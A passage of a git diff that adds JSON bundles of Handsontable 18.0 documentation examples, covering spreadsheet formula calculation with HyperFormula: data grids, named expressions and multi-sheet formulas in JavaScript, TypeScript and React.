\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data: (string | number)[][] = [\n ['150', '643', '0.32', '11', '=A1*(B1*C1)+D1'],\n ['172', '474', '0.51', '11', '=A2*(B2*C2)+D2'],\n ['188', '371', '0.59', '11', '=A3*(B3*C3)+D3'],\n ['162', '731', '0.21', '10', '=A4*(B4*C4)+D4'],\n ['133', '682', '0.81', '9', '=A5*(B5*C5)+D5'],\n ['87', '553', '0.66', '10', '=A6*(B6*C6)+D6'],\n ['26', '592', '0.62', '11', '=A7*(B7*C7)+D7'],\n ['110', '461', '0.73', '9', '=A8*(B8*C8)+D8'],\n ['50', '346', '0.52', '15', '=A9*(B9*C9)+D9'],\n ['160', '423', '0.82', '11', '=A10*(B10*C10)+D10'],\n ['30', '216', '0.26', '9', '=A11*(B11*C11)+D11'],\n ['39', '473', '0.44', '5', '=A12*(B12*C12)+D12'],\n ['96', '490', '0.43', '5', '=A13*(B13*C13)+D13'],\n ['108', '176', '0.71', '7', '=A14*(B14*C14)+D14'],\n ['46', '586', '0.01', '14', '=A15*(B15*C15)+D15'],\n ['97', '514', '0.7', '14', '=A16*(B16*C16)+D16'],\n ['161', '717', '0.01', '13', '=A17*(B17*C17)+D17'],\n ['58', '123', '0.4', '8', '=A18*(B18*C18)+D18'],\n ['92', '739', '0.76', '14', '=A19*(B19*C19)+D19'],\n ['5', '320', '0.52', '13', '=A20*(B20*C20)+D20'],\n ['158', '480', '0.65', '5', '=A21*(B21*C21)+D21'],\n ['121', '373', '0.66', '8', '=A22*(B22*C22)+D22'],\n ['61', '704', '0.95', '7', '=A23*(B23*C23)+D23'],\n ['155', '452', '0.71', '10', '=A24*(B24*C24)+D24'],\n ['162', '693', '0.73', '11', '=A25*(B25*C25)+D25'],\n ['46', '75', '0.14', '15', '=A26*(B26*C26)+D26'],\n ['47', '691', '0.58', '15', '=A27*(B27*C27)+D27'],\n ['104', '346', '0.04', '7', '=A28*(B28*C28)+D28'],\n ['101', '717', '0.87', '5', '=A29*(B29*C29)+D29'],\n ['150', '487', '0.26', '15', '=A30*(B30*C30)+D30'],\n ['42', '465', '0.09', '14', '=A31*(B31*C31)+D31'],\n ['144', '337', '0.72', '7', '=A32*(B32*C32)+D32'],\n ['195', '138', '0.3', '6', '=A33*(B33*C33)+D33'],\n ['199', '717', '0.16', '6', '=A34*(B34*C34)+D34'],\n ['110', '236', '0.91', '9', '=A35*(B35*C35)+D35'],\n ['51', '351', '0.81', '13', '=A36*(B36*C36)+D36'],\n ['69', '221', '0.64', '9', '=A37*(B37*C37)+D37'],\n ['53', '125', '0.28', '12', '=A38*(B38*C38)+D38'],\n ['168', '428', '0.68', '9', '=A39*(B39*C39)+D39'],\n ['58', '361', '0.36', '5', '=A40*(B40*C40)+D40'],\n ['152', '213', '0.13', '13', '=A41*(B41*C41)+D41'],\n ['66', '431', '0.93', '10', '=A42*(B42*C42)+D42'],\n ['112', '108', '0.5', '14', '=A43*(B43*C43)+D43'],\n ['50', '127', '0.7', '7', '=A44*(B44*C44)+D44'],\n ['31', '200', '0.15', '14', '=A45*(B45*C45)+D45'],\n ['132', '654', '0.81', '8', '=A46*(B46*C46)+D46'],\n ['45', '438', '0.79', '6', '=A47*(B47*C47)+D47'],\n ['197', '615', '0.63', '7', '=A48*(B48*C48)+D48'],\n ['190', '592', '0.37', '8', '=A49*(B49*C49)+D49'],\n ['184', '419', '0.78', '8', '=A50*(B50*C50)+D50'],\n ['169', '58', '0.13', '7', '=A51*(B51*C51)+D51'],\n ['152', '324', '0.58', '5', '=A52*(B52*C52)+D52'],\n ['182', '713', '0.53', '5', '=A53*(B53*C53)+D53'],\n ['141', '576', '0.63', '12', '=A54*(B54*C54)+D54'],\n ['169', '429', '0.14', '13', '=A55*(B55*C55)+D55'],\n ['39', '694', '0.98', '13', '=A56*(B56*C56)+D56'],\n ['71', '361', '0.3', '13', '=A57*(B57*C57)+D57'],\n ['148', '540', '0.89', '6', '=A58*(B58*C58)+D58'],\n ['116', '52', '0.3', '7', '=A59*(B59*C59)+D59'],\n ['96', '395', '0.28', '7', '=A60*(B60*C60)+D60'],\n ['35', '222', '0.86', '13', '=A61*(B61*C61)+D61'],\n ['16', '430', '0.8', '8', '=A62*(B62*C62)+D62'],\n ['194', '357', '0.72', '9', '=A63*(B63*C63)+D63'],\n ['24', '498', '0.7', '7', '=A64*(B64*C64)+D64'],\n ['170', '142', '0.52', '5', '=A65*(B65*C65)+D65'],\n ['184', '614', '0.68', '9', '=A66*(B66*C66)+D66'],\n ['153', '524', '0.15', '9', '=A67*(B67*C67)+D67'],\n ['88', '620', '0.39', '15', '=A68*(B68*C68)+D68'],\n ['57', '452', '0.11', '6', '=A69*(B69*C69)+D69'],\n ['62', '493', '0.03', '11', '=A70*(B70*C70)+D70'],\n ['123', '431', '0.75', '15', '=A71*(B71*C71)+D71'],\n ['77', '113', '0.63', '12', '=A72*(B72*C72)+D72'],\n ['199', '208', '0.07', '6', '=A73*(B73*C73)+D73'],\n ['149', '514', '0.42', '12', '=A74*(B74*C74)+D74'],\n ['191', '334', '0.78', '13', '=A75*(B75*C75)+D75'],\n ['150', '643', '0.32', '11', '=A76*(B76*C76)+D76'],\n ['130', '721', '0.62', '5', '=A77*(B77*C77)+D77'],\n ['179', '517', '0.1', '8', '=A78*(B78*C78)+D78'],\n ['98', '31', '0.01', '10', '=A79*(B79*C79)+D79'],\n ['175', '509', '0.7', '11', '=A80*(B80*C80)+D80'],\n ['11', '569', '0.37', '7', '=A81*(B81*C81)+D81'],\n ['184', '630', '0.19', '6', '=A82*(B82*C82)+D82'],\n ['27', '165', '0.51', '13', '=A83*(B83*C83)+D83'],\n ['186', '417', '0.85', '15', '=A84*(B84*C84)+D84'],\n ['20', '741', '0.76', '11', '=A85*(B85*C85)+D85'],\n ['153', '640', '0.28', '6', '=A86*(B86*C86)+D86'],\n ['161', '542', '0.43', '14', '=A87*(B87*C87)+D87'],\n ['98', '344', '0.77', '6', '=A88*(B88*C88)+D88'],\n ['30', '400', '0.71', '13', '=A89*(B89*C89)+D89'],\n ['73', '91', '0.78', '8', '=A90*(B90*C90)+D90'],\n ['158', '72', '0.66', '12', '=A91*(B91*C91)+D91'],\n ['122', '35', '0.32', '15', '=A92*(B92*C92)+D92'],\n ['33', '99', '0.92', '9', '=A93*(B93*C93)+D93'],\n ['107', '538', '0.75', '10', '=A94*(B94*C94)+D94'],\n ['15', '563', '0.32', '6', '=A95*(B95*C95)+D95'],\n ['168', '572', '0.71', '6', '=A96*(B96*C96)+D96'],\n ['135', '217', '0.49', '12', '=A97*(B97*C97)+D97'],\n ['11', '595', '0.03', '13', '=A98*(B98*C98)+D98'],\n ['41', '739', '0.88', '11', '=A99*(B99*C99)+D99'],\n ['144', '289', '0.87', '13', '=A100*(B100*C100)+D100'],\n ['Sum', 'Average', 'Average', 'Sum', 'Sum'],\n ['=SUM(A1:A100)', '=AVERAGE(B1:B100)', '=AVERAGE(C1:C100)', '=SUM(D1:D100)', '=SUM(E1:E100)'],\n];\n\nconst container = document.querySelector('#example-data-grid')!;\n\nnew Handsontable(container, {\n data,\n formulas: {\n engine: HyperFormula,\n },\n colHeaders: ['Qty', 'Unit price', 'Discount', 'Freight', 'Total due (fx)'],\n fixedRowsBottom: 2,\n stretchH: 'all',\n height: 500,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-data-grid.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-data-grid","exampleTitle":"Data grid example","docPermalink":"/formula-calculation","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-named-expressions1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-named-expressions1.js.json new file mode 100644 index 00000000..ad0407c0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-named-expressions1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Formulas ▸ Formula calculation · Demo: plain-value named expression · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n \n
\n
\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data = [\n ['Travel ID', 'Destination', 'Base price', 'Price with extra cost'],\n ['154', 'Rome', 400, '=ROUND(ADDITIONAL_COST+C2,0)'],\n ['155', 'Athens', 300, '=ROUND(ADDITIONAL_COST+C3,0)'],\n ['156', 'Warsaw', 150, '=ROUND(ADDITIONAL_COST+C4,0)'],\n];\n\nconst container = document.querySelector('#example-named-expressions1');\nconst hot = new Handsontable(container, {\n data,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: HyperFormula,\n namedExpressions: [\n {\n name: 'ADDITIONAL_COST',\n expression: 100,\n },\n ],\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst input = document.getElementById('named-expressions-input');\nconst formulasPlugin = hot.getPlugin('formulas');\nconst button = document.getElementById('named-expressions-button');\n\nbutton.addEventListener('click', () => {\n formulasPlugin.engine?.changeNamedExpression('ADDITIONAL_COST', input.value);\n hot.render();\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-named-expressions1.js","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions1","exampleTitle":"Demo: plain-value named expression","docPermalink":"/formula-calculation","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-named-expressions1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-named-expressions1.ts.json new file mode 100644 index 00000000..9280ff3e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-named-expressions1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Formulas ▸ Formula calculation · Demo: plain-value named expression · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n \n
\n
\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\nimport { Formulas } from 'handsontable/plugins';\nimport { DetailedSettings } from 'handsontable/plugins/formulas';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data: (string | number)[][] = [\n ['Travel ID', 'Destination', 'Base price', 'Price with extra cost'],\n ['154', 'Rome', 400, '=ROUND(ADDITIONAL_COST+C2,0)'],\n ['155', 'Athens', 300, '=ROUND(ADDITIONAL_COST+C3,0)'],\n ['156', 'Warsaw', 150, '=ROUND(ADDITIONAL_COST+C4,0)'],\n];\n\nconst container = document.querySelector('#example-named-expressions1')!;\n\nconst hot = new Handsontable(container, {\n data,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: HyperFormula,\n namedExpressions: [\n {\n name: 'ADDITIONAL_COST',\n expression: 100,\n },\n ],\n } as DetailedSettings,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst input = document.getElementById('named-expressions-input')!;\nconst formulasPlugin: Formulas = hot.getPlugin('formulas');\nconst button = document.getElementById('named-expressions-button')!;\n\nbutton!.addEventListener('click', () => {\n formulasPlugin.engine?.changeNamedExpression('ADDITIONAL_COST', (input as HTMLInputElement).value);\n hot.render();\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-named-expressions1.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions1","exampleTitle":"Demo: plain-value named expression","docPermalink":"/formula-calculation","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-named-expressions2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-named-expressions2.js.json new file mode 100644 index 00000000..22502570 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-named-expressions2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Formulas ▸ Formula calculation · Demo: formula-based named expressions · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// Named expressions that reference cell ranges must be registered after the sheet\n// exists. Pre-build the engine, add the sheet, then add the named expressions.\nconst hfInstance = HyperFormula.buildEmpty({\n licenseKey: 'internal-use-in-handsontable',\n});\n\nhfInstance.addSheet('Sheet1');\nhfInstance.addNamedExpression('Q1_TOTAL', '=SUM(Sheet1!$B$1:$B$3)');\nhfInstance.addNamedExpression('Q2_TOTAL', '=SUM(Sheet1!$C$1:$C$3)');\n\nconst data = [\n ['Widget A', 200, 250],\n ['Widget B', 150, 300],\n ['Widget C', 400, 350],\n ['Totals', '=Q1_TOTAL', '=Q2_TOTAL'],\n];\n\nconst container = document.querySelector('#example-named-expressions2');\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Product', 'Q1 Sales', 'Q2 Sales'],\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hfInstance,\n sheetName: 'Sheet1',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-named-expressions2.js","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions2","exampleTitle":"Demo: formula-based named expressions","docPermalink":"/formula-calculation","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-named-expressions2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-named-expressions2.ts.json new file mode 100644 index 00000000..535089ca --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-named-expressions2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Formulas ▸ Formula calculation · Demo: formula-based named expressions · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// Named expressions that reference cell ranges must be registered after the sheet\n// exists. Pre-build the engine, add the sheet, then add the named expressions.\nconst hfInstance = HyperFormula.buildEmpty({\n licenseKey: 'internal-use-in-handsontable',\n});\n\nhfInstance.addSheet('Sheet1');\nhfInstance.addNamedExpression('Q1_TOTAL', '=SUM(Sheet1!$B$1:$B$3)');\nhfInstance.addNamedExpression('Q2_TOTAL', '=SUM(Sheet1!$C$1:$C$3)');\n\nconst data: (string | number)[][] = [\n ['Widget A', 200, 250],\n ['Widget B', 150, 300],\n ['Widget C', 400, 350],\n ['Totals', '=Q1_TOTAL', '=Q2_TOTAL'],\n];\n\nconst container = document.querySelector('#example-named-expressions2')!;\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Product', 'Q1 Sales', 'Q2 Sales'],\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hfInstance,\n sheetName: 'Sheet1',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-named-expressions2.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions2","exampleTitle":"Demo: formula-based named expressions","docPermalink":"/formula-calculation","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example1.js.json new file mode 100644 index 00000000..b3b7a0f4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Formulas ▸ Formula calculation · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n

Sheet 1

\n
\n

Sheet 2

\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data1 = [\n ['10.26', null, 'Sum', '=SUM(A:A)'],\n ['20.12', null, 'Average', '=AVERAGE(A:A)'],\n ['30.01', null, 'Median', '=MEDIAN(A:A)'],\n ['40.29', null, 'MAX', '=MAX(A:A)'],\n ['50.18', null, 'MIN', '=MIN(A1:A5)'],\n];\n\nconst data2 = [\n ['Is A1 in Sheet1 > 10?', '=IF(Sheet1!A1>10,\"TRUE\",\"FALSE\")'],\n ['Is A:A in Sheet > 150?', '=IF(SUM(Sheet1!A:A)>150,\"TRUE\",\"FALSE\")'],\n ['How many blank cells are in the Sheet1?', '=COUNTBLANK(Sheet1!A1:D5)'],\n ['Generate a random number', '=RAND()'],\n ['Number of sheets in this workbook', '=SHEETS()'],\n];\n\n// create an external HyperFormula instance\nconst hyperformulaInstance = HyperFormula.buildEmpty({\n // to use an external HyperFormula instance,\n // initialize it with the `'internal-use-in-handsontable'` license key\n licenseKey: 'internal-use-in-handsontable',\n});\n\nconst container1 = document.querySelector('#example-basic-multi-sheet-1');\n\nnew Handsontable(container1, {\n data: data1,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hyperformulaInstance,\n sheetName: 'Sheet1',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst container2 = document.querySelector('#example-basic-multi-sheet-2');\n\nnew Handsontable(container2, {\n data: data2,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hyperformulaInstance,\n sheetName: 'Sheet2',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"h3.demo-preview {\n margin-bottom: 0.3rem !important;\n padding-top: 0 !important;\n margin-top: 0.5rem !important;\n}"},"docsPath":"guides/formulas/formula-calculation/javascript/example1.js","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formula-calculation","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example1.ts.json new file mode 100644 index 00000000..947b42bd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Formulas ▸ Formula calculation · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n

Sheet 1

\n
\n

Sheet 2

\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data1: [string, null, string, string][] = [\n ['10.26', null, 'Sum', '=SUM(A:A)'],\n ['20.12', null, 'Average', '=AVERAGE(A:A)'],\n ['30.01', null, 'Median', '=MEDIAN(A:A)'],\n ['40.29', null, 'MAX', '=MAX(A:A)'],\n ['50.18', null, 'MIN', '=MIN(A1:A5)'],\n];\n\nconst data2: [string, string][] = [\n ['Is A1 in Sheet1 > 10?', '=IF(Sheet1!A1>10,\"TRUE\",\"FALSE\")'],\n ['Is A:A in Sheet > 150?', '=IF(SUM(Sheet1!A:A)>150,\"TRUE\",\"FALSE\")'],\n ['How many blank cells are in the Sheet1?', '=COUNTBLANK(Sheet1!A1:D5)'],\n ['Generate a random number', '=RAND()'],\n ['Number of sheets in this workbook', '=SHEETS()'],\n];\n\n// create an external HyperFormula instance\nconst hyperformulaInstance = HyperFormula.buildEmpty({\n // to use an external HyperFormula instance,\n // initialize it with the `'internal-use-in-handsontable'` license key\n licenseKey: 'internal-use-in-handsontable',\n});\n\nconst container1 = document.querySelector('#example-basic-multi-sheet-1')!;\n\nnew Handsontable(container1, {\n data: data1,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hyperformulaInstance,\n sheetName: 'Sheet1',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst container2 = document.querySelector('#example-basic-multi-sheet-2')!;\n\nnew Handsontable(container2, {\n data: data2,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hyperformulaInstance,\n sheetName: 'Sheet2',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"h3.demo-preview {\n margin-bottom: 0.3rem !important;\n padding-top: 0 !important;\n margin-top: 0.5rem !important;\n}"},"docsPath":"guides/formulas/formula-calculation/javascript/example1.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formula-calculation","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__react__example-data-grid.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__react__example-data-grid.tsx.json new file mode 100644 index 00000000..157bc660 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__react__example-data-grid.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Formulas ▸ Formula calculation · Data grid example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
